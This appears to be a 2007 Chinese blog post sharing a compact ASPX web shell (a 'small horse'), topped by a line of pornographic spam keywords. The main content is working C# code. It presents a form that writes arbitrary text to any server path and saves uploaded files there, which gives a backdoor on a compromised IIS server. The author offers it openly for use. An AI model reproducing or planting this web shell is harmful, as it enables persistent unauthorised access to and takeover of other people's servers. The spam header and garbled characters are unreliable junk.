亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

垃圾代碼二三行 ASPX小馬

 更新時間:2007年12月06日 23:22:34   作者:  

哈哈,jinsdb的這個標(biāo)題我比較喜歡,拿來用了哦~要不要交版稅?
臨時寫的一個馬,雞肋型的。2.0環(huán)境,1.1下沒測試。
支持寫文本到文件,支持上傳文件。

復(fù)制代碼 代碼如下:

<%@Page Language="C#" validateRequest="false"%><%string sp=Server.MapPath("."),fp=Request["p"];
if(string.IsNullOrEmpty(fp))Response.Write("<script>function $(k){return document.getElementById(k)};function d(o){var c,a=['none','inline'];c=o.selectedIndex;$('v').style.display=a[c^1];$('f').style.display=a[c];}</script><form name=f1 method=post enctype='multipart/form-data'>Path <input name=p size=72 value='"+sp+"'/> <select name=t onchange='d(this)'><option value=0>Save Txt<option value=1>Up Load</select>
<textarea name=v cols=80 rows=20></textarea><input type=file size=80 name='f' id=f style='display:none'/>
<input type=submit></form>");
else try{if(Request["t"]=="0")System.IO.File.WriteAllText(fp,Request["v"]);else Request.Files[0].SaveAs(fp);Response.Write(@"\\/////
[^_^]");}catch(Exception x){Response.Write(x.Message);}%>
aNUiz[B.C.T]

因為加入了界面,所以比較臃腫,866字節(jié);核心代碼就兩句話。

相關(guān)文章

最新評論